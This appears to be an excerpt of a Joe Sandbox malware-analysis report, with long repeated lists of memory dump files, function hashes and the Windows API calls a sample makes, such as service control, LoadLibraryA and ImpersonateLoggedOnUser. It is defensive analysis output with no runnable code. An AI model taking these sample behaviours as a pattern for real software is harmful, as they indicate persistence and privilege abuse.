Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b979c6c715b91eb73b833e04e615d31a256f4225382c52f36740601815958be1
Instruction ID: 8e42885ca7c48fdbecb69a309cf6324d1819afc05200349a6e8a80f525648c2d
Opcode Fuzzy Hash: b979c6c715b91eb73b833e04e615d31a256f4225382c52f36740601815958be1
Instruction Fuzzy Hash: A9310CF250C600AFE705AF19D9817BEFBE9EF88320F15482DF2C5C2640E63598449B9B

Function 0096B7C6 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0096B936

Memory Dump Source

Source File: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: dfab9507d933cdf7bf79254c8535378417dcdea9c72768732c83a092b820e320
Instruction ID: f7f0462777f6dd84d365690b4e1a4b4021c85d4994a1ec0be04536bdf3f97185
Opcode Fuzzy Hash: dfab9507d933cdf7bf79254c8535378417dcdea9c72768732c83a092b820e320
Instruction Fuzzy Hash: B3E0C2311188899ADB1A9F60880179A371EEB81704FA00125FB01DBE4AEB3D4D518795

Function 04D815C4 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04D818C8

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 4a704b8c9343e68057089edb593202444115ca1a0a066a6acb8484c1e132e70d
Instruction ID: cb8eb5c2ab8a4eca43bcd809f80c91176c60d24466d41a437d1f54636718037a
Opcode Fuzzy Hash: 4a704b8c9343e68057089edb593202444115ca1a0a066a6acb8484c1e132e70d
Instruction Fuzzy Hash: 6AC15A70D106599FDB10EFA8C8457AEBBF1FF49314F148629E854E7284D774A88ACB81

Function 04D80D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04D80DCD

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: f75cd7c4ff4f5de36aabf2b2c47647ba9a6eaac006b06860b1d07a3cb950aa9d
Instruction ID: 1aed78fc7ec13fb90c19b2c2ef8e5910d434bd532ff400a1ca1fce4d7c12d235
Opcode Fuzzy Hash: f75cd7c4ff4f5de36aabf2b2c47647ba9a6eaac006b06860b1d07a3cb950aa9d
Instruction Fuzzy Hash: 2C2113B6C012199FCB50DF99D884BEEFBF4FF88720F15821AD918AB204D774A544CBA5

Function 04D80D43 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04D80DCD

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 0e7711c8e1bea95bb1a6efe3daacebd9a657615c7bf694b6bc398bc611fbeca2
Instruction ID: 9832c0e73748cd370ecd7c4bdefbaf79692957c4fba603a747bc4c4098fdd510
Opcode Fuzzy Hash: 0e7711c8e1bea95bb1a6efe3daacebd9a657615c7bf694b6bc398bc611fbeca2
Instruction Fuzzy Hash: 1F2135B6C00209CFCB50DF99D484BEEFBF1BF88320F15811AD908AB244C774A545CBA4

Function 04D81510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04D81580

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 83ae3fcbf42f52c08712d655d88937e06346ef57d23ab47915f1de14ad6c5f4b
Instruction ID: 72a91938860d2665f5bba37463cf7727744ec580f000ca7120d2d00614183927
Opcode Fuzzy Hash: 83ae3fcbf42f52c08712d655d88937e06346ef57d23ab47915f1de14ad6c5f4b
Instruction Fuzzy Hash: 7411E4B19003499FDB10DF9AD584BEEFBF4FB48320F108029E559A3250D778A645CFA5

Function 04D81509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04D81580

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 3db28701f3d686d86af286f8cc5c90cfa67c40b286b696d62c6b6225ef109371
Instruction ID: 3395ad2427e8f4830bb61a45cc546ca113d77cb335cd5c34ccf87f82097f8f66
Opcode Fuzzy Hash: 3db28701f3d686d86af286f8cc5c90cfa67c40b286b696d62c6b6225ef109371
Instruction Fuzzy Hash: AD2114B5900349CFDB10CF9AD584BEEFBF4BB48320F10842AD558A7250D778A655CFA5

Function 04D81301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE(?), ref: 04D81367

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 27c278926e2e7a39aab60cb06412eb960f8cb0abf6810ceba29ab604a4c78516
Instruction ID: ed520612568cbb160cdb8f240a340503f268dfa70509a0e7b2139e0809e17beb
Opcode Fuzzy Hash: 27c278926e2e7a39aab60cb06412eb960f8cb0abf6810ceba29ab604a4c78516
Instruction Fuzzy Hash: 0E1113B1800249CFDB10DF9AC584BEEFBF4EF48324F20846AD558A3650D778A545CFA5

Function 04D81308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE(?), ref: 04D81367

Memory Dump Source

Source File: 00000005.00000002.2500602819.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d80000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 8b7ebc6331e71c1bd9976c1545297411ce3cc3b3167419b571c35a99c31cf52f
Instruction ID: a2080ab4ccec01e25110268fb84780885544a8b4cdf233f591a4f4b51f047741
Opcode Fuzzy Hash: 8b7ebc6331e71c1bd9976c1545297411ce3cc3b3167419b571c35a99c31cf52f
Instruction Fuzzy Hash: 761122B1800349CFDB10DF9AC544BEEFBF8AB48320F20842AD558A3650D778A944CFA5

Function 00AF7D11 Relevance: 1.5, APIs: 1, Instructions: 10
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00AF7EF4

Memory Dump Source

Source File: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c92862e12f19877af0b846d26524cfeb745ee1de02ebc3a0f4c610199911e9d3
Instruction ID: c7a8e7e991976c1de3a7469439805990db8f1ccb2869b7475d9a37246a768f1a
Opcode Fuzzy Hash: c92862e12f19877af0b846d26524cfeb745ee1de02ebc3a0f4c610199911e9d3
Instruction Fuzzy Hash: 72C0127101C60ADFC3002F90D8404AEBBF0AF0CB20F000918E6C602A00D3316C60AB63

Function 00AE7FD7 Relevance: 1.5, APIs: 1, Instructions: 10
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00AE7FD7

Memory Dump Source

Source File: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498145854.0000000000AF9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498161914.0000000000AFA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498177331.0000000000AFB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498196492.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498211987.0000000000B0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498228227.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498243337.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498262015.0000000000B24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498281534.0000000000B36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498301456.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498317585.0000000000B4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498333379.0000000000B4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498349976.0000000000B51000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498367081.0000000000B5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498383003.0000000000B60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498399175.0000000000B61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498415579.0000000000B67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498432113.0000000000B68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498448221.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498469619.0000000000B82000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498486213.0000000000B85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498502572.0000000000B86000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498517911.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498534804.0000000000B90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498550397.0000000000B91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498566901.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498583581.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498600132.0000000000BA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498615591.0000000000BA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498636244.0000000000BBD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498651996.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000BFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498682744.0000000000C04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498718173.0000000000C14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498735145.0000000000C16000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_960000_4EIXPY3PJ1MHC0SHPSNPXSN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6ceb4d1eb8f9e353a53497940cf56753ac95e3ab0c68fad46285b726ea479b0e
Instruction ID: 3d47c985bc1c02e6d6cde5073f43b27bc4161c4eeaada63edefb95e2f5646d95
Opcode Fuzzy Hash: 6ceb4d1eb8f9e353a53497940cf56753ac95e3ab0c68fad46285b726ea479b0e
Instruction Fuzzy Hash: 02C09BD001C38942D920367F5D89F3E79509720320FC50939D75211645F4345518C14E

Function 0096E676 Relevance: 1.3, APIs: 1, Instructions: 26
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0096F62F

Memory Dump Source

Source File: 00000005.00000002.2497912263.000000000096A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000005.00000002.2497863674.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497879112.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497895129.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2497930137.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498027287.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498043889.0000000000ACB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498065727.0000000000AE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498081702.0000000000AE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498097218.0000000000AF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2498129718.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
